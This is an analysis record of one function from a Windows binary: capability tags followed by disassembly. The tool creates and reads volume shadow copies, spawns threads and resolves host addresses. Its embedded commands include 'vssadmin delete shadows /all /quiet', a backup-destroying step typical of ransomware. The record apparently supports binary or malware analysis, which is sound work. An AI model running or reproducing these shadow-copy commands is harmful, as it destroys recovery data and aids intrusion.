Function at 0x140002920
Capabilities:
Create thread
Delete volume shadow copies
Get hostname
Initialize winsock library
Resolve dns

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
mov eax, 0x28e0
call fcn.14001fda0
sub rsp, rax
mov rax, qword [0x14002f008]
xor rax, rsp
mov qword [rsp + 0x28d0], rax
xor esi, esi
mov rbx, rdx
mov r10d, ecx
mov ebp, esi
mov edi, esi
cmp ecx, 5
jge 0x14000297a
lea ecx, [rsi + 2]
call fcn.14000cd14
mov r8, qword [rbx]
lea rdx, str.Usage:__s__path__path___id__id__n
mov rcx, rax
call fcn.1400010d0
lea eax, [rsi + 1]
jmp 0x140002ea4
mov qword [rsp + 0x2900], r14
lea r9, [rdx + 0x10]
lea r14, str._path
mov r8d, 2
lea rbx, [0x14002b968]
nop word [rax + rax]
mov rdx, qword [r9 - 8]
mov r11d, r8d
mov rcx, rsi
nop word [rax + rax]
movzx eax, byte [rdx + rcx]
inc rcx
cmp al, byte [r14 + rcx - 1]
jne 0x1400029d2
cmp rcx, 6
jne 0x1400029b0
cmp r8d, r10d
jge 0x140002b15
mov rbp, qword [r9]
jmp 0x1400029ff
mov rcx, rsi
nop word [rax + rax]
movzx eax, byte [rdx + rcx]
inc rcx
cmp al, byte [rbx + rcx - 1]
jne 0x1400029ff
cmp rcx, 4
jne 0x1400029e0
cmp r8d, r10d
jge 0x140002b2b
mov rdi, qword [r9]
inc r8d
add r9, 8
cmp r11d, r10d
jl 0x1400029a0
test rbp, rbp
je 0x140002e7e
test rdi, rdi
je 0x140002e7e
mov r9, rbp
lea r8, [0x14002b9c0]
mov edx, 0x100
lea rcx, [rsp + 0x4d0]
call fcn.140001010
mov r9, rdi
lea r8, str.ID___S_
mov edx, 0x100
lea rcx, [rsp + 0x6d0]
call fcn.140001010
lea r8, [rsp + 0x4d0]
mov ecx, 6
lea rdx, [0x14002aa78]
call fcn.1400011e0
lea r8, [rsp + 0x6d0]
mov ecx, 6
lea rdx, [0x14002aa78]
call fcn.1400011e0
lea rdx, [rsp + 0x8d0]
lea rcx, [0x14002ba00]
call fcn.140001430
lea r8, [0x14002ba20]
mov ecx, 6
lea rdx, [0x14002aa78]
call fcn.1400011e0
mov ecx, 0xfa0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, str.No_items_found_that_satisfy_the_query
lea rcx, [rsp + 0x8d0]
call fcn.140003c50
lea rdx, [0x14002aa78]
mov ecx, 6
test rax, rax
jne 0x140002c13
lea r8, str.shadow__.
call fcn.1400011e0
lea rdx, [0x14002bab4]
lea rcx, [rsp + 0x8d0]
call fcn.140007254
mov rdi, rax
test rax, rax
je 0x140002ec7
jmp 0x140002b41
mov ecx, 2
call fcn.14000cd14
lea rdx, str.Error:__path_requires_a_value_n
jmp 0x140002e8f
mov ecx, 2
call fcn.14000cd14
lea rdx, str.Error:__id_requires_a_value_n
jmp 0x140002e8f
movabs rbx, 0x100002600
nop dword [rax + rax]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
movzx ecx, byte [rdi]
mov rdx, rdi
mov r8, rdi
test cl, cl
je 0x140002b84
cmp cl, 0x20
ja 0x140002b73
bt rbx, rcx
jb 0x140002b78
mov byte [rdx], cl
inc rdx
movzx ecx, byte [r8 + 1]
inc r8
test cl, cl
jne 0x140002b68
mov byte [rdx], sil
lea r8, str.vssadmin_list_shadows___hs_
mov edx, 0x100
lea rcx, [rsp + 0x1d0]
mov r9, rdi
call fcn.140001010
lea r8, [rsp + 0x1d0]
mov ecx, 6
lea rdx, [0x14002aa78]
call fcn.1400011e0
lea rdx, [0x14002bab4]
xor ecx, ecx
call fcn.140007254
mov rdi, rax
test rax, rax
jne 0x140002b50
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea r8, str.shadow___.
lea rdx, [0x14002aa78]
lea ecx, [rdi + 6]
call fcn.1400011e0
lea rcx, [0x14002bb88]
call fcn.14000d9c0
lea ecx, [rdi + 4]
test eax, eax
jne 0x140002eea
jmp 0x140002d4b
lea r8, str.shadow____.
call fcn.1400011e0
lea r8, [0x14002bcb8]
mov ecx, 6
lea rdx, [0x14002aa78]
call fcn.1400011e0
lea rdx, [rsp + 0x18d0]
lea rcx, [0x14002bce8]
call fcn.140001430
lea rdx, [0x14002bab4]
lea rcx, [rsp + 0x18d0]
call fcn.140007254
mov rdi, rax
test rax, rax
je 0x140002f08
movabs rbx, 0x100002600
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
movzx eax, byte [rdi]
mov rdx, rdi
mov r8, rdi
test al, al
je 0x140002cab
nop dword [rax]
cmp al, 0x20
ja 0x140002c9a
bt rbx, rax
jb 0x140002c9f
mov byte [rdx], al
inc rdx
movzx eax, byte [r8 + 1]
inc r8
test al, al
jne 0x140002c90
mov byte [rdx], sil
lea r8, str.__hs_
mov edx, 0x100
lea rcx, [rsp + 0x1d0]
mov r9, rdi
call fcn.140001010
lea r8, [rsp + 0x1d0]
mov ecx, 6
lea rdx, [0x14002aa78]
call fcn.1400011e0
lea rdx, [0x14002bab4]
xor ecx, ecx
call fcn.140007254
mov rdi, rax
test rax, rax
jne 0x140002c75
lea r8, str.wmic_shadowcopy_call_create_VolumeC:_
lea rdx, [0x14002aa78]
lea ecx, [rax + 4]
call fcn.1400011e0
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea r8, str.shadow___.
lea rdx, [0x14002aa78]
lea ecx, [rdi + 6]
call fcn.1400011e0
lea rcx, [0x14002bb88]
call fcn.14000d9c0
lea ecx, [rdi + 4]
test eax, eax
jne 0x140002f36
lea r8, [0x14002bbb0]
lea rdx, [0x14002aa78]
call fcn.1400011e0
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, rbp
call fcn.140001c90
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
xor r9d, r9d
mov qword [rsp + 0x28], rsi
lea r8, [0x1400021b0]
mov dword [rsp + 0x20], esi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
test rax, rax
je 0x140002f2b
mov ecx, 0x2710
call qword [sym.imp.KERNEL32.dll_Sleep]
xor r9d, r9d
mov qword [rsp + 0x28], rsi
lea r8, [0x1400023d0]
mov dword [rsp + 0x20], esi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
test rax, rax
je 0x140002f2b
mov ecx, 0x2710
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0x202
lea rdx, [rsp + 0x30]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x140002f2b
mov edx, 0x100
lea rcx, [rsp + 0x3d0]
call qword [sym.imp.WS2_32.dll_gethostname]
test eax, eax
jne 0x140002e69
lea rcx, [rsp + 0x3d0]
call qword [sym.imp.WS2_32.dll_gethostbyname]
test rax, rax
je 0x140002e69
mov rbx, qword [rax + 0x18]
mov rax, qword [rbx]
test rax, rax
je 0x140002e69
nop dword [rax]
mov ecx, dword [rax]
call qword [sym.imp.WS2_32.dll_inet_ntoa]
mov r8d, 0x100
lea rcx, [rsp + 0x1d0]
mov rdx, rax
call fcn.14000cb58
lea rcx, [rsp + 0x1d0]
call fcn.1400025c0
mov rax, qword [rbx + rsi*8 + 8]
lea rsi, [rsi + 1]
test rax, rax
jne 0x140002e30
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov ecx, 0x2710
call qword [sym.imp.KERNEL32.dll_Sleep]
xor eax, eax
jmp 0x140002e9c
mov ecx, 2
call fcn.14000cd14
lea rdx, str.Error:_Both__path_and__id_must_be_provided_n
mov rcx, rax
call fcn.1400010d0
mov eax, 1
mov r14, qword [rsp + 0x2900]
mov rcx, qword [rsp + 0x28d0]
xor rcx, rsp
call fcn.140002f70
mov rbx, qword [rsp + 0x2910]
add rsp, 0x28e0
pop rdi
pop rsi
pop rbp
ret
lea r8, str.vssadmin_list_shadows
mov ecx, 6
lea rdx, [0x14002aa40]
call fcn.1400011e0
mov ecx, 1
call fcn.140007248
int3
lea r8, str.vssadmin_delete_shadows__all__quiet
lea rdx, [0x14002aa40]
call fcn.1400011e0
mov ecx, 1
call fcn.140007248
int3
lea r8, [0x14002bd10]
mov ecx, 6
lea rdx, [0x14002aa40]
call fcn.1400011e0
mov ecx, 1
call fcn.140007248
int3
mov ecx, 1
call fcn.140007248
int3
lea r8, str.vssadmin_delete_shadows__all__quiet
lea rdx, [0x14002aa40]
call fcn.1400011e0
mov ecx, 1
call fcn.140007248
int3